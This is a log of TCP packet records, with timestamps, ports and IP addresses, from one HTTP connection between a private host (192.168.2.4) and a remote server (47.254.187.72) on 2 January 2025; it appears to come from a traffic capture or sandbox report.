Jan 2, 2025 20:34:58.130455017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130465984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130481958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130489111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.130492926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130507946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130513906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.130513906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.130600929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130611897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130623102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130628109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.130631924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130655050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.130686998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.130686998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.142347097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.142369986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.142379999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.142431021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.142441034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.142452002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.142458916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.142462969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.142474890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.143758059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.151307106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.151333094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.151345015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.151354074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.151366949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.151376009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.151387930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.151423931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.151756048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.153386116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.153397083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.153408051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.153440952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.153450966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.153459072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.153459072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.153465033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.153476954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.153501987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.154078007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154088020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154104948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.154134035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154144049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154155016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154160023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.154171944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154182911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154192924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.154192924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.154194117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154284954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.154284954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.154887915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154908895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154920101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154930115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154941082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154951096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154962063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.154968023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.154973030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.155021906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.155021906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.171964884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.171982050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.171999931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172010899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172032118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172044039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172055960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172065973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172077894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172107935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172128916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172141075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172154903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172161102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172173977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172178984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172192097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172202110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172204971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172219992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172230959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172240019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172240019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172243118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172254086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172271013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172283888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172307014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172324896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172334909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172347069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172350883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172369003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172842026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172852993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172863960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172868013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172874928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172887087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172887087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172898054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172909021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.172908068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172967911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.172967911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.178744078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.178823948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.178834915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.178848982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.178859949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.178872108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.178884029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.178910017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.179754019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.181734085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.181746006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.181757927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.181767941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.181777954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.181788921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.181799889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.181804895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.181808949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.181823969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.181909084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.181909084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.188353062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.188365936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.188376904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.188395977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.188407898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.188419104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.188419104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.188429117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.188473940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.188473940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.190686941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.190713882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.190726042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.190736055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.190747976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.190758944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.190769911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.190773964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.190781116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.190804005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.191752911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.195799112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.195816040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.195827007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.195837021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.195852041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.195861101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.195879936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.195888996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.195890903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.195904970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.199754000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.217278957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217310905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217328072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217339039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217350006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217360973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217396975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217407942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217418909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217430115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217441082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217452049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217462063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217473984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.217484951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.219765902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.229197025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.229218006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.229223967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.229228973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.229234934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.229239941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.229248047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.229439974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.229439974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.238058090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.238080025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.238091946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.238101959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.238112926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.238122940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.238135099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.238260031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.238260031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.240098953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240154982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240174055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240184069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.240185976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240196943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240207911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240210056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.240219116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240228891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240283966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.240283966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.240818024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240828037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240837097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240848064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240864038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240874052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240884066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.240890026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240901947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240911007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.240914106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.240931988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.241379976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.241552114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.241616964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.241626978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.241637945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.241648912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.241658926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.241672993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.241687059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.241714001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.241714001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.241739988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.241785049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.258853912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258879900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258893013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258903027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258915901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258933067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258944035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258944035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.258955002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258966923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258977890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.258985043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.258996964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259007931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259018898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259021044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259035110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259040117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259047031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259057045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259062052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259071112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259080887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259083986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259090900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259092093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259104013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259118080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259126902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259128094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259143114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259150982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259183884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259183884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259558916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259630919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259640932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259656906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259658098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259670019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259680033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259681940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259691954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259701967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259704113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259712934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.259732962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.259784937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.265718937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.265732050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.265743017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.265753984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.265763998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.265774965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.265785933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.265794992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.267755985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.268539906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.268551111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.268562078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.268580914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.268591881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.268603086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.268609047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.268609047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.268614054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.268663883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.268663883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.275129080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.275171041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.275188923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.275197983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.275202990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.275214911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.275228977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.275230885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.275230885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.275240898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.275253057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.275264025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.275752068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.277381897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.277442932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.277457952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.277472019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.277477026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.277487993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.277496099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.277501106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.277507067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.277533054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.278670073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.282690048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.282705069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.282722950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.282736063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.282747030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.282757998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.282768965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.282769918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.282784939 CET	80	49730	47.254.187.72	192.168.2.4
